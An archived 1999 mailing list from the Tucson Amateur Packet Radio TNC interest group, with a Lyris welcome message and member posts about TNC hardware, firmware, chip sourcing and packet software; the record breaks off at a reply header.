        HFSIG <hfsig@tapr.org>, HTAPRS <htaprs@tapr.org>,
        MIC-E sig <mic-e@tapr.org>, NETSIG
 <netsig@tapr.org>,
        PROPNET sig <propnet@tapr.org>,
        REGIONAL_FREQ sig
 <regional_freq@tapr.org>, SS sig <ss@tapr.org>,
        TACGPS sig
 <tacgps@tapr.org>, TAPR-BB sig <tapr-bb@tapr.org>,
        TAPR-TNC
 <tapr-tnc@tapr.org>
Message-ID: <1B66FFC6BE1CD211A0620008C7A42AC21EF760@MRDNEXCH01.ct.adc.com>

Rendered body type: text/plain

TAPR is pleased to announce the formation of a new special
interest group, the HTAPRS SIG.

The purpose of HTAPRS is to provide a forum for the discussion
of issues related to the Kenwood THD7A/E transceiver. (HTAPRS
is also intended to lessen the number of messages on TAPR's
APRSSIG by moving THD7A/E traffic off that SIG.)

To subscribe to the HTAPRS mail list, send email to
listserv@tapr.org with the following text in the body of the
message:

   subscribe htaprs your_first_name your_last_name

January 1999

Original source file: tapr-tnc.9901
Source: http://ftp.tapr.org/tapr_history/SIG_Archives/tapr-tnc/mail_archive/tapr-tnc.9901

1. Welcome to TAPR-TNC SIG

```
From: Lyris <lyris@lists.tapr.org>
Date: Mon, 25 Jan 1999 02:00:29 -0600
To: lyris.tapr-tnc@tapr.org
Message-ID: <LYR6755-483-1999.01.25-02.00.29--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain
**********************************************************************
*                PLEASE SAVE THIS WELCOME MESSAGE!                   *
**********************************************************************


_____________________________________
_________/    ____/    _/_____/ _/_____/
   _/     _/       _/ _/     _/ _/     _/
  _/     _/____/_/ _/_____/ _/_____/
 _/     _/       _/ _/        _/    _/
_/     _/      _/ _/        _/     _/
_____________________________________


        Welcome to the Tucson Amateur Packet Radio TAPR-TNC SIG
               ----------------------------------------

Last updated: 14 January 99


Posting rejected?
-----------------
This mailing list accepts postings only from subscribers.  If a post is
ever rejected, please contact <n2wx@tapr.org> directly; your system
administrator probably changed an element of your email address and the
list server's records will need to be updated to enable posting.


*************************
  Statement of Purpose
*************************

This SIG is intended to be a low volume, high s/n place to discuss issues
related to use of the TAPR (and clone) TNCs.  It is not moderated. Please
try remain on topic and use discretion to help keep up the s/n ratio.

The following subjects with respect to TNC-1 and TNC-2 and their clones
are "on topic":

 o - Hardware bugs, problems, mods
 o - Firmware bugs, problems, patches
 o - TAPR documentation
 o - Interface issues
 o - Announcements of the above
 o - Suggestions for enhancements
 o - and anything else reasonably resembling the above
 x - but note that binary postings are never allowed


Although packet radio novices are invited to join, this is probably the
wrong place to post new user questions.  Faster and more complete replies
to new user questions are more likely to be found in one of the many
newsgroups in the USENET rec.radio.amateur.* hierarchy, particularly in
the rec.radio.amateur.digital.misc newsgroup.

This is also the wrong place to debate the merits of various manufacturer
offerings or to elicit suggestions about "Which TNC should I purchase?"

At times, you may find your post is relevant to one of the other fine TAPR
SIGs as well as this one. Initial crossposting is not necessarily a bad
idea.  Use your judgment.

Spirited, lively discussion is invited but flames will be promptly
extinguished.  The list owner reserves the right to deal with flames and
off-topic posts from a stance gauranteed to lie somewhere between complete
arbitrariness and Solomonesque.  Hopefully more of the latter than the
```

former.

Other resources

TAPR maintains both file archives and a World Wide Web server that may
contain answers to questions you have...and maybe some you have but didn't
realize you had. You can access these resources with:

   ftp to ftp.tapr.org

   WWW to http://www.tapr.org/tapr/
                          and
           http://www.tapr.org/tapr/html/pkthome.html

73 Howie N2WX

To post messages to the tapr-tnc list, send email to:
tapr-tnc@lists.tapr.org

        tapr-tnc@lists.tapr.org

To unsubscribe from this mailing list, surf to:

   http://www.tapr.org/cgi-bin/lyris.pl?enter=tapr-tnc

or send email to:

   lyris@lists.tapr.org

with the following line in the body of the message:

   unsub tapr-tnc

The host of this list is:

   Tucson Amateur Packet Radio (TAPR)
   tapr@tapr.org
   http://www.tapr.org
   8987-309 E Tanque Verde Rd. #337, Tucson, AZ 85749-9399,
   phone 940-383-0000, fax 940-566-2544

Just so that you have all the commands neatly contained in one place,
here is just about everything you will need to know. Note that this list
is running on a Lyris server. Please be aware that the commands might be
different from those that you are used to using on other list servers.
(For more information on Lyris, see <http://www.lyris.com/>.)

1. First of all, almost everything that you might need to do on the
   server is most easily and effectively performed via Lyris's Web
   interface at <http://www.tapr.org/cgi-bin/lyris.pl>.

2. In case you do not have Web access, here are some key commands; in all
   cases, the default server address is: <lyris@lists.tapr.org>. Other
   addresses are shown where appropriate. Note that commands may be placed
   in either the subject line or in the body of the message:

                SUBSCRIBING:
                  subscribe tapr-tnc your_name
                  join tapr-tnc your_name
                  alternate address: join-tapr-tnc@lists.tapr.org

                UNSUBSCRIBING:
                  unsubscribe tapr-tnc
                  leave tapr-tnc
                  alternate address: leave-tapr-tnc@lists.tapr.org

```
      SETTING MEMBERSHIP TO DIGEST MODE:
        set tapr-tnc digest

      SETTING MEMBERSHIP TO INDEX MODE:
        set tapr-tnc index

      SETTING MEMBERSHIP TO DISCUSSION MODE:
        set tapr-tnc mail

      TEMPORARILY SUSPENDING MAIL FROM THE LIST:
        set tapr-tnc nomail

      RESUMING MAIL FROM THE LIST:
    (command depends on your preferred mode)
        set tapr-tnc mail
        set tapr-tnc digest
        set tapr-tnc index

      ACKNOWLEDGMENT:
        set tapr-tnc ack
          (sends you a confirmation message when your posts are sent)
        set tapr-tnc noack
          (no confirmation message when posts are distributed)

      RECEIVING COPIES OF YOUR OWN POSTS:
        set tapr-tnc repro
          (receive copies of your own posts)
        set tapr-tnc norepro
          (do not receive copies of your own posts)

      SETTING YOUR PASSWORD:
        set tapr-tnc pw=mypassword
          (where "mypassword" is the password you wish to set)

      DETERMINING YOUR MEMBERSHIP SETTINGS:
        query tapr-tnc

      RETRIEVING THE CURRENT VERSION OF THIS DOCUMENT:
        get tapr-tnc hello

      MORE INFORMATION ON LYRIS'S COMMANDS:
        help

      POSTING TO THE LIST:
        You must be a subscriber to post messages. Sending
        mail to this address will distribute it to all the members of the
        mailing list:  tapr-tnc@lists.tapr.org
```

3. CHANGING YOUR SETTINGS/ADDRESS VIA THE WEB INTERFACE: To do this, go to <http://www.tapr.org/cgi-bin/lyris.pl> and click the link in the "Change Your Settings" section. You'll need to enter your e-mail address and password (if you chose one) to continue.

   (If you've forgotten your password, you can type in your e-mail address in the field at the bottom of the page and click "Get password" to request Lyris to e-mail your password to you.)

   At the following page, you can read messages, post a message, adjust your settings, or unsubscribe. From the settings page, you can change your status (MAIL, DIGEST, INDEX, or NOMAIL), choose whether or not to see your own messages, and choose whether or not you want to receive a separate acknowledgement via e-mail when one of your messages is posted to the list, You can also change your e-mail address if you need to. When you change your settings, make sure you click the "Save" button at the bottom of the page.

4. ARCHIVES: The tapr-tnc SIG archives are available on the Web, at the following URL: <http://www.tapr.org/sigf.html>

5. BOUNCED MAIL: One of the key features of Lyris is its ability to handle mail bounces transparently to the list owner; as such, bounced mail will be handled primarily by the Lyris list server.

6. POSTS/REPLIES FROM DIGEST USERS: You *must* change the Subject: line
   when replying to a digest; all posts with "tapr-tnc DIGEST" in the
   Subject: line will be rejected by the server (you will receive a
   "rejection letter" when this happens).

February 1999

Original source file: tapr-tnc.9902
Source: http://ftp.tapr.org/tapr_history/SIG_Archives/tapr-tnc/mail_archive/tapr-tnc.9902

1. [tapr-tnc] duel tncs on one comptur

From: "wolf" <wo4lf@greenvillenc.com>
Date: Mon, 1 Feb 1999 10:26:53 -0500
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Message-ID: <LYR6755-2784-1999.02.01-09.26.32--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain

I am looking for a program for the comptur to run two tncs athe same time with a split screen so I can
see both tncs at work at the same time Iwas told you could help me out
Iwant to run hf and packet at the same time on one screen
thank you
WOALF/AAR4RR
james o. andereson jr.

2. [tapr-tnc] two tncs on the same screen

From: "wolf" <wo4lf@greenvillenc.com>
Date: Mon, 1 Feb 1999 10:39:30 -0500
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Message-ID: <LYR6755-2789-1999.02.01-09.38.31--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain

I am looking for a program that Ican run two
tncs at the same time with both of they display on the screen at the same time
Iwant tobe able to see packet and hf amtor
on the screen at the same time I was told you
you have a program can you can help
thank you
WO4LF/AAR4RR
James o. Anderson jr.

3. [tapr-tnc] TNC as PCMIA / PC card ?

From: KSchmidt@t-online.de (Karl Schmidt)
Date: Tue, 2 Feb 1999 10:00:17 +0100
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Message-ID: <LYR6755-2961-1999.02.02-03.02.23--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain

hello Packet friends,

Hello packeteers,
is there anywhere a TNC in form of a pc card (PCMIA) available?
That would be a nice compact solution for my notebook.

73, Karl
DK5EC@DB0MKA and @all satellites

-         ////   Gruesse aus Koenigswinter
-        (o o)   Karl Schmidt <KSchmidt@t-online.de>
------mm--(_)--mm---

You are currently subscribed to tapr-tnc as: lyris.tapr-tnc@tapr.org
To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org

4. [tapr-tnc] DRSI DPK-2 TNC

From: "Trevor Vernon Smith" <NASH072@VICNET.NET.AU>
Date: Thu, 4 Feb 1999 18:50:59
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Message-ID: <LYR6755-3575-1999.02.04-18.51.31--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain

I am looking for some mods for the above either s/h or new, they are the
open squelch dcd, Time of Day, High Speed Clock and also a 9600 Tnc of the
same make. The company is no longer in business.

You are currently subscribed to tapr-tnc as: lyris.tapr-tnc@tapr.org
To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org

5. [tapr-tnc] Fwd: TNC-1

From: "Greg Jones, WD5IVD" <wd5ivd@tapr.org>
Date: Mon, 8 Feb 1999 11:17:52 -0600
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Message-ID: <LYR6755-4119-1999.02.08-11.28.37--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain

FYI -- respond directly to Larry.

Greg

>From: Larry Papke <papkele@desoto.net>
>Subject: TNC-1
>Mime-Version: 1.0
>Status:
>
>Does anyone need one of the original TNC-1 for whatever reason?
>Let me know, I have one in A1 condition.
>Larry, WB5MPU
>Larry E. Papke
>3550 NE Hwy 70, Lot # 198
>P.O. Box 1271
>Arcadia, Florida 34265-1271
>(941) 491-0541
>papkele@desoto.net
>

Greg Jones, WD5IVD Austin, Texas
wd5ivd@tapr.org http://www.tapr.org/~wd5ivd

You are currently subscribed to tapr-tnc as: lyris.tapr-tnc@tapr.org
To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org

6. [tapr-tnc] Idea for pager form factor packet radio kit

From: "Jeffrey Perry" <j.perry@lynx.dac.neu.edu>
Date: Tue, 16 Feb 1999 23:02:51 -0500 (EST)
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Cc: jperry@lynx.dac.neu.edu
Message-ID: <LYR6755-5912-1999.02.16-21.56.37--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain

Back in August of 1998, I attended an IETF conference which Motorola sponsored.
They also loaned everyone two-way pagers which allowed you to send and receive email.

I found this so much fun, that I have been thinking it would be great to have similar unit
for packet. This unit was the SkyWriter 2000 and contained a small keyboard (not as hard
as you might think to get used to) and screen with backlighting. It had it's own OS
which ran the Motorola SW and allowed you to also receive news headlines from MSNBC and
query for stock quotes and weather reports.

In the HAM world, imagine being able have a similar unit which would allow you to send and
receive packet email and login to local PBBSes as well as monitor DX. Set it to vibrate and
be alerted when that rare DX you have been waiting for shows up!

I think this would be a perfect kit for TAPR to create. It needs a small low power 2m radio
inside and a small TNC.

Perhaps the current unit could be modified. The pagers cost $300 approximately and broadcast
somewhere in the 900mhz range.

Any ideas? What do you think?

I for one, would love to be able to build or buy this unit.

Jeffrey Perry, N1ILY

j.perry@lynx.dac.neu.edu

You are currently subscribed to tapr-tnc as: lyris.tapr-tnc@tapr.org
To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org

7. [tapr-tnc] Re: Idea for pager form factor packet radio kit

From: Bill Vodall <vodall@bigsky.com>
Date: Tue, 16 Feb 1999 22:14:45 -0800 (PST)

To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Cc: jperry@lynx.dac.neu.edu
Message-ID: <LYR6755-5939-1999.02.17-00.15.29--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain

> In the HAM world, imagine being able have a similar unit which would allow you to send and
> receive packet email and login to local PBBSes as well as monitor DX. Set it to vibrate and
> be alerted when that rare DX you have been waiting for shows up!
>
> I think this would be a perfect kit for TAPR to create. It needs a small low power 2m radio
> inside and a small TNC.
>
> Any ideas? What do you think?
>
> I for one, would love to be able to build or buy this unit.
>
> Jeffrey Perry, N1ILY
>
> j.perry@lynx.dac.neu.edu
>

You can do most of that with the new Kenwood D7 APRS ht. Add a PalmIII
and you can do all of it and more.... Web browsing, etc...

73,
Bill - WA7NWP

You are currently subscribed to tapr-tnc as: lyris.tapr-tnc@tapr.org
To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org

8. [tapr-tnc] Re: Idea for pager form factor packet radio kit

From: malberts@ncs.com.na (Mike Alberts)
Date: Wed, 17 Feb 1999 11:21:51 +0200
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Message-ID: <LYR6755-5954-1999.02.17-03.21.29--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain

Bill Vodall wrote:

> > In the HAM world, imagine being able have a similar unit which would allow you to send and
> > receive packet email and login to local PBBSes as well as monitor DX. Set it to vibrate and
> > be alerted when that rare DX you have been waiting for shows up!
> >
> > I think this would be a perfect kit for TAPR to create. It needs a small low power 2m radio
> > inside and a small TNC.
> >
> > Any ideas? What do you think?
> >
> > I for one, would love to be able to build or buy this unit.
> >
> > Jeffrey Perry, N1ILY
> >
> > j.perry@lynx.dac.neu.edu
> >
>
> You can do most of that with the new Kenwood D7 APRS ht. Add a PalmIII
> and you can do all of it and more.... Web browsing, etc...
>
> 73,
> Bill - WA7NWP
>
> ---
> You are currently subscribed to tapr-tnc as: MALBERTS@NCS.COM.NA
> To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org

Whawou!!!!At what cost would the kenwood D& be available...not in Namibia though..
V51MA
Mike

You are currently subscribed to tapr-tnc as: lyris.tapr-tnc@tapr.org
To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org

9. [tapr-tnc] Re: Idea for pager form factor packet radio kit

From: Mike <zeus@myth.demon.co.uk>
Date: Wed, 17 Feb 1999 13:07:34 +0000
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Message-ID: <LYR6755-6033-1999.02.17-12.42.11--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain

Go down to your local mobile phone stockist and look at the Nokia 9000,
or, if they have it, the new 9110. I've had mine for over a year now so
I'm surprised you havent seen one. It's a phone that opens like a
clamshell to reveal an LCD screen and keyboard. It not only has SMS
(which I suspect is what the Motorola pager has) but also fax, email,
web browser, telnet, dumb terminal, text editor and so on (and yes, they
really do work properly). RS232 can be tapped off from the connector to
drive whatever you wish.

Mike

G1VOX

You are currently subscribed to tapr-tnc as: lyris.tapr-tnc@tapr.org
To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org

10. [tapr-tnc] Re: trouble w/ interface ax1

From: "Jeffrey Perry" <j.perry@lynx.dac.neu.edu>
Date: Thu, 18 Feb 1999 08:53:08 -0500 (EST)
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Cc: tapr-tnc@lists.tapr.org
Message-ID: <LYR6755-6208-1999.02.18-07.47.03--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain

Interesting replies so far.

I was slightly surprised that one ham suggested the cell phone w/SMS
when I clearly wanted a HAM band solution.

A palm pilot is an option - though buying one plus a separate portable TNC
becomes more cumbersome to carry not to mention expensive if I only want
it for packet - perhaps an old one for around $100 would serve but
I would still have 3 pieces to carry. Think wearable! Pagers fit this
idea nicely.

A third person suggested the new Kenwood Unit. I downloaded the manual
in pdf format. It does allow dx cluster monitoring. It does not allow
pbbs connection without a computer - this brings us back to the palm pilot
pda issue. One other idea I had for this portable packet was to send
notes to friends while traveling. I know this idea can be done
in the form factor I describe. Given the responses though it is not
surprising no company has tried it. I am slightly discouraged that
no HAMs seem interested in it, if only for the challenge. Sure it
would have to run lower power but so does my alinco djs41 and it
is a useful little HT.

Jeffrey Perry
N1ILY

You are currently subscribed to tapr-tnc as: lyris.tapr-tnc@tapr.org
To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org

11. [tapr-tnc] Revisit the TCM3105 Replacement problem

From: "Christopher Story" <ke6rwj@msn.com>
Date: Thu, 18 Feb 1999 21:08:15 -0600
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Message-ID: <LYR6755-6354-1999.02.18-21.11.09--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain

Fellow Users,

    I searched the mail archives and found many messages that referred to the discontinued TI TCM3105
FSK modem chip. I have 2 AOR AR-2400 mobile data terminals. they currently use MSK but are set up to
convert to FSK the only thing is the IC is gone!! Im not concerned about the exact Chip if one has a
comparable setup I can always make it work. Any ideas? I'll still browse the junk bins at Huntsville
this year and try to find one if nothing else surfaces.

Thanks

Christopher Story
K6RWJ

12. [tapr-tnc] Re: Revisit the TCM3105 Replacement problem

From: James Jefferson <jjeffers@deskmedia.com>
Date: Thu, 18 Feb 1999 22:35:33 -0600
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Message-ID: <LYR6755-6380-1999.02.18-22.38.24--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain

JDR microdevices has them: www.jdr.com
BG Micro should also have some in stock: www.bgmicro.com

Otherwise you should be able to find them on junked KPC-3's and such. A
search of DejaNews will yeild hundreds of matches.

73's

-James Jefferson KB0THN
jjeffers@deskmedia.com
http://www.deskmedia.com/~jjeffers/

You are currently subscribed to tapr-tnc as: lyris.tapr-tnc@tapr.org
To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org

March 1999

Original source file: tapr-tnc.9903
Source: http://ftp.tapr.org/tapr_history/SIG_Archives/tapr-tnc/mail_archive/tapr-tnc.9903

1. [tapr-tnc] Fwd: TCM3105NL

From: "Greg Jones, WD5IVD" <wd5ivd@tapr.org>
Date: Sat, 20 Mar 1999 16:42:16 -0600
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Message-ID: <LYR6755-11655-1999.03.20-16.50.00--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain

FYI.

I just got this today and thought some other people might be interested.

I don't know who this fellow is -- so I take no responsibility if there are
problems.

Cheers - Greg

>From: "Tim Savoy" <TimSav@mginh.com>
>To: <wd5ivd@tapr.org>
>Subject: TCM3105NL
>Date: Thu, 18 Mar 1999 18:37:49 -0500
>MIME-Version: 1.0
>X-Priority: 3
>Status:
>
>
>Hello,
>
>I have stock of 600 TCM3150NL
>TEXAS INSTRUMENTS IC MODEM CHIP.
>I am not sure if you use these but I know it is used by makers of Packet
>Modems and telecommunication devices.
>These have been obsolete and are very difficult to procure.
>If you can use these, or if you know of someone who needs these please let
>me know.
>
>These are Brand new/Original Package.
>
>Regards
>Tim Savoy
>MGI-NH
>1-603-433-9373 Phone
>1-603-433-9376 Fax
><http://www.mginh.com>www.mginh.com
><mailto:timsav@mginh.com>timsav@mginh.com
>
>
>
>

Greg Jones, WD5IVD   Austin, Texas
wd5ivd@tapr.org   http://www.tapr.org/~wd5ivd

You are currently subscribed to tapr-tnc as: lyris.tapr-tnc@tapr.org
To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org

April 1999

Original source file: tapr-tnc.9904
Source: http://ftp.tapr.org/tapr_history/SIG_Archives/tapr-tnc/mail_archive/tapr-tnc.9904

1. [tapr-tnc] Original TAPR TNC2 - Help!

From: "Quilter's Confectionery" <qltconf@mnsinc.com>
Date: Tue, 20 Apr 1999 17:00:02
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Message-ID: <LYR6755-17028-1999.04.20-17.01.59--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain

Through judicious trading, I have acquired an original TAPR 2 TNC. When I
start it up it outputs the message "TNC-200 .... Release 1.1.2 12/6/95".

Years ago I built a PacComm TNC-200 so I recognize the message.

I have no docs or data of any kind. I dug through the "junk/jewel" box and
found the PacComm cable and hooked it up to my APRS project. It works!

How can I get documentation for this treasurer? Can it be used to send GPS
data from my vehicle (Ultralight Aircraft) like my KPC3 does?

Looked over the TAPR web page and only saw stuff for sale that cost more
than I paid for what I traded to get it.

Help, Larry K4LLQ

You are currently subscribed to tapr-tnc as: lyris.tapr-tnc@tapr.org
To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org

2. [tapr-tnc] Re: Original TAPR TNC2 - Help!

From: Byron Smith <wa6ylb@theworks.com>
Date: Tue, 20 Apr 1999 15:19:13 -0700
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Message-ID: <LYR6755-17032-1999.04.20-17.23.37--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain

You need to open this dude up and see if it has two 8K ram chips besides
the single EPROM.

Sounds like to me, that if that tnc got "upgraded" to 32K ram, then you
could get either the latest Tapr eprom for 12 bucks (I think thats what it
was the last time I saw it) or the last version before the current version
from TAPR's site.
The versions on Tapr's site as well as the latest eprom require the 32K ram
chip.
If you need help making an eprom, I can help.

I bought a EPROM for my tnc2 from Paccomm as it had the APRS callsign
swapping stuff in it, for the local digi use a couple years ago. It was a
TNC200 style version 5.0.0...

>I have no docs or data of any kind. I dug through the "junk/jewel" box and
>found the PacComm cable and hooked it up to my APRS project. It works!

The commands are very simular to the tnc2 docs as found on Tapr's web page.

 Can it be used to send GPS
>data from my vehicle (Ultralight Aircraft) like my KPC3 does?

The latest Paccomm TNC200 does, and I believe the latest Tapr TNC2 offering
does too.

You are currently subscribed to tapr-tnc as: lyris.tapr-tnc@tapr.org
To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org

3. [tapr-tnc] Re: Original TAPR TNC2 - Help!

From: Bob Nielsen <nielsen@primenet.com>
Date: Tue, 20 Apr 1999 16:56:05 -0700 (MST)
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Cc: TAPR TNC Special Interest Group <tapr-tnc@lists.tapr.org>
Message-ID: <LYR6755-17051-1999.04.20-19.00.43--lyris.tapr-tnc#tapr.org@lists.tapr.org>

Rendered body type: text/plain

On Tue, 20 Apr 1999, Quilter's Confectionery wrote:

> Through judicious trading, I have acquired an original TAPR 2 TNC. When I
> start it up it outputs the message "TNC-200 .... Release 1.1.2 12/6/95".
>
> Years ago I built a PacComm TNC-200 so I recognize the message.
>
> I have no docs or data of any kind. I dug through the "junk/jewel" box and
> found the PacComm cable and hooked it up to my APRS project. It works!
>
> How can I get documentation for this treasurer? Can it be used to send GPS
> data from my vehicle (Ultralight Aircraft) like my KPC3 does?
>
> Looked over the TAPR web page and only saw stuff for sale that cost more
> than I paid for what I traded to get it.
>
> Help, Larry K4LLQ

Larry,

You can get the TNC 2 documentation from
ftp://ftp.tapr.org/software_lib/tnc/tncdocs.exe. You can also get there
from the software link on the TAPR home page.

This self-extracting archive contains both the assembly and system
manuals, updated to the 1.1.8 firmware release.

There is also a TNC 2 schematic (tncsch.pdf, tncsch.zip) in the same
directory, as well as newer firmware (this will require upgrading your
RAM to 32K, which is covered in the manual).

I have no idea how the KPC-3 sends data from a GPS, so can't help you
there.

Bob

Bob Nielsen   Internet: nielsen@primenet.com
Tucson, AZ   AMPRnet: w6swe@w6swe.ampr.org
DM42nh   http://www.primenet.com/~nielsen

You are currently subscribed to tapr-tnc as: lyris.tapr-tnc@tapr.org
To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org

4. [tapr-tnc] Re: Original TAPR TNC2 - Help!

From: Byron Smith <wa6ylb@theworks.com>
Date: Tue, 20 Apr 1999 17:40:01 -0700
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Message-ID: <LYR6755-17057-1999.04.20-19.54.07--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain

FYI - in case you need some lite reading :-)

http://www.theworks.com/~wa6ylb/tracker.txt

>I have no idea how the KPC-3 sends data from a GPS, so can't help you
>there.
>
>Bob
>
>----
>Bob Nielsen   Internet: nielsen@primenet.com
>Tucson, AZ   AMPRnet: w6swe@w6swe.ampr.org
>DM42nh   http://www.primenet.com/~nielsen
>

Byron Smith
wa6ylb@theworks.com - Webpage: http://www.theworks.com/~wa6ylb
wa6ylb@wa6ylb.#cca.ca.usa.noam
ICQ 26114994

If a man makes a statement, deep in the forest, and there isn't a woman
around to hear him, is he still wrong?

You are currently subscribed to tapr-tnc as: lyris.tapr-tnc@tapr.org
To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org

5. [tapr-tnc] Re: Original TAPR TNC2 - Help!

From: malberts@ncs.com.na (Mike Alberts)
Date: Thu, 22 Apr 1999 08:16:49 +0200
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Message-ID: <LYR6755-17279-1999.04.22-02.19.22--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain

HELP HELP HELP WANTED,
Could anyone help with info , where to get a good condition used TNC eg
PK232...I want to set up a gateway station from Namibia V51 land
Thanks
Mike...V51MA

Byron Smith wrote:

> You need to open this dude up and see if it has two 8K ram chips besides
> the single EPROM.
>
> Sounds like to me, that if that tnc got "upgraded" to 32K ram, then you
> could get either the latest Tapr eprom for 12 bucks (I think thats what it
> was the last time I saw it) or the last version before the current version
> from TAPR's site.
> The versions on Tapr's site as well as the latest eprom require the 32K ram
> chip.
> If you need help making an eprom, I can help.
>
> I bought a EPROM for my tnc2 from Paccomm as it had the APRS callsign
> swapping stuff in it, for the local digi use a couple years ago. It was a
> TNC200 style version 5.0.0...
>
> >I have no docs or data of any kind. I dug through the "junk/jewel" box and
> >found the PacComm cable and hooked it up to my APRS project. It works!
>
> The commands are very simular to the tnc2 docs as found on Tapr's web page.
>
> Can it be used to send GPS
> >data from my vehicle (Ultralight Aircraft) like my KPC3 does?
>
> The latest Paccomm TNC200 does, and I believe the latest Tapr TNC2 offering
> does too.
>
> ---
> You are currently subscribed to tapr-tnc as: MALBERTS@NCS.COM.NA
> To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org

---
You are currently subscribed to tapr-tnc as: lyris.tapr-tnc@tapr.org
To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org

6. [tapr-tnc] Help for a 8086 processor

From: "Nicola Savella" <savella@ieee.org>
Date: Fri, 23 Apr 1999 22:34:46 +0200
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Message-ID: <LYR6755-17472-1999.04.23-15.42.29--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain

Can anyone help me to find packet-radio program that runs under 8086
processor with 640kb RAM and DOS 6 or older?
Can you give me an internet address where to download it?
Exist packet-modem for this old processor?
I want to know if I can use packet with an old PC (Olivetti)!

Bye, 73

Nicola
(waiting for radio-amateur license, now italian amateur patent
3321/TS/W)
==========
Nicola Savella   ICQ#: 33410992
http://space.tin.it/io/nsavell
Email: savella@ieee.org

DEEI - University of Trieste - ITALY
http://www.univ.trieste.it/~nirdeei

```
====================================


---
You are currently subscribed to tapr-tnc as: lyris.tapr-tnc@tapr.org
To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org
```

7. [tapr-tnc] Re: Help for a 8086 processor

```
From: Byron Smith <wa6ylb@theworks.com>
Date: Fri, 23 Apr 1999 14:03:32 -0700
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Message-ID: <LYR6755-17479-1999.04.23-16.08.14--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain
```

```
You might try PAKET 6.1 out there on the net.
I run it from DOS.

I used to have one of them Mxx machines awhile back. Has a strange BIOS
that does a few things a bit differently.



At 10:34 PM 4/23/99 +0200, you wrote:
>Can anyone help me to find packet-radio program that runs under 8086
>processor with 640kb RAM and DOS 6 or older?
>Can you give me an internet address where to download it?
>Exist packet-modem for this old processor?
>I want to know if I can use packet with an old PC (Olivetti)!
>
>Bye, 73
>
>Nicola
>(waiting for radio-amateur license, now italian amateur patent
>3321/TS/W)
>====================================
>Nicola Savella        ICQ#: 33410992
>http://space.tin.it/io/nsavell
>Email: savella@ieee.org
>
>DEEI - University of Trieste - ITALY
>http://www.univ.trieste.it/~nirdeei
>====================================
>
>
>
>---
>You are currently subscribed to tapr-tnc as: WA6YLB@THEWORKS.COM
>To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org


---
You are currently subscribed to tapr-tnc as: lyris.tapr-tnc@tapr.org
To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org
```

8. [tapr-tnc] Re: Help for a 8086 processor

```
From: Bob Nielsen <nielsen@primenet.com>
Date: Fri, 23 Apr 1999 17:33:32 -0700
